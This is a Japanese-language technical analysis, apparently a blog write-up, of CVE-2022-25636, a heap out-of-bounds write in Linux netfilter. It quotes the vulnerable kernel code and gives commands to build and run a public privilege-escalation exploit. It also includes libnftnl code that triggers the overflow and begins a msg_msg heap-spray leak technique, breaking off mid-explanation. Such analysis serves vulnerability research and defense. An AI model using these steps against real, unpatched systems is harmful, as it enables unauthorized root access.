
[toc]
脆弱性ID: CVE-2022-25636
脆弱性製品: linux kernel - netfilter
影響バージョン: linux kernel 5.4 ~
脆弱性の深刻度: netfilter カーネルモジュールにヒープ領域外書き込みが存在し、SYS_ADMIN 権限がある場合に権限昇格が可能
脆弱性は netfilter カーネルモジュールに存在し、該当コードは以下の3つの ko ファイルにあります。
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
qemu 直接起動では問題があり、ko がロードされないため、vmware を使用した2台のマシンでの連携デバッグを行います。
ubuntu 21.10 では手動でカーネルを置き換えることができます:
apt-get install linux-image-5.13.0-30-generic
その後、元のカーネルを削除し、exp をコンパイルします:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
権限昇格の効果 (成功率は50%未満):

脆弱性が発生する関数は nft_fwd_dup_netdev_offload です:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
flow->rule->action.entries (この構造体は可変長であり、境界チェックがない) への設定時にヒープ境界チェックが行われず、整数 (4 または 5) とポインタの領域外書き込みが発生します。
この関数は nft_flow_rule_create 関数内で使用されます:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {// 渡された rule の数に基づいて num_actions を計算
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// NFT_OFFLOAD_F_ACTION フラグがある場合のみカウント
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);// num_actions の数に基づいてスペースを確保 (可変長構造体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
// ctx->num_actions は 0 に初期化 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {// rule の数に応じて offload を呼び出す
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);// 脆弱性関数を呼び出す
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
nft_flow_rule_create 関数は、ユーザー空間から渡された rule 構造体の数に基づいて flow 構造体を確保し処理を行います。num_actions 変数でカウントしますが、カウント時には NFT_OFFLOAD_F_ACTION フラグが設定された rule のみをカウントし、その数に応じて構造体を確保します。その後 offload を呼び出す際には、num_actions でループせず、以前と同じ rule 数の回数だけループしますが、ここでは NFT_OFFLOAD_F_ACTION フラグの判定は行われません。つまり、NFT_OFFLOAD_F_ACTION フラグがない rule が含まれている場合、offload の呼び出し回数は以前確保した flow->rule->action.entries の数を超えるため、offload 内で脆弱性関数 nft_fwd_dup_netdev_offload が呼び出され、呼び出しごとに ctx->num_actions が1増加します (初期値0)。最終的に ctx->num_actions は flow->rule->action.entries 配列の範囲を超え、領域外書き込みが発生します。
関連する構造体:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
呼び出しスタック:
参考リンク: https://www.openwall.com/lists/oss-security/2022/02/21/2
このメールでは、C 言語の libmnl と libnftnl ライブラリを使用して netfilter を使用する方法が説明されています。脆弱性をトリガーするポイントは、追加する rule に NFT_OFFLOAD_F_ACTION フラグが存在するかどうかです。nftnl_expr_alloc("immediate"); で追加された rule のみが NFT_OFFLOAD_F_ACTION フラグを持ちます:
for(int i = 0; i < legit_writes; i++) {// 以下の expr 追加では領域外書き込みは発生しない
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
// 以下の expr 追加では領域外書き込みが発生する
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
脆弱性の悪用は非常に安定していませんが、その技術は精巧です。脆弱性は、固定オフセットの位置に制御不能なポインタを書き込むものです。個人の見解では、悪用の難易度は非常に高いです。技術的手法を簡単に分析します。脆弱性のコードから、一度の領域外書き込みで書き込めるのは整数 (id、固定で4または5) とポインタ (*dev) のみであり、ポインタは struct net_device 構造体を指します。ここでは dev ポインタの書き込みに注目します:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
entry->id = id;
entry->dev = dev; // 固定オフセットにヒープアドレスを書き込む。dev は struct net_device 構造体
··· ···
}
struct flow_rule 構造体は可変長構造体であるため、確保できるサイズの範囲が悪用の成否に関わります (成功の場合)。
関連構造体:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};
struct flow_dissector {
unsigned int used_keys; /* each bit repesents presence of one key id */
unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {// サイズ 0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
悪用に入る前に、まず2回の *dev アドレスを漏洩させる必要があります。異なる2つの dev アドレスを漏洩させるため、1つは自プロセスで、もう1つは子プロセスで漏洩させます。msg_msg を使用して漏洩させます (msg_msg 技術の復習)。サイズ 0x1040 の msg をヒープスプレーします。これにより、msg の構造上、最初のメッセージが2つのセグメントに分割され、2番目のセグメントの長さは 0x70 で、ヘッダポインタを含めると kmalloc-128 が確保されます。その後、1つの msg を解放し、kmalloc-128 を1つ解放します。次に、1つの rule のみの flow_rule 構造体を使用します。これも kmalloc-128 であり、解放された msg の2番目のセグメントである kmalloc-128 を取得できることを期待し、以下のようなヒープレイアウトを構成します:
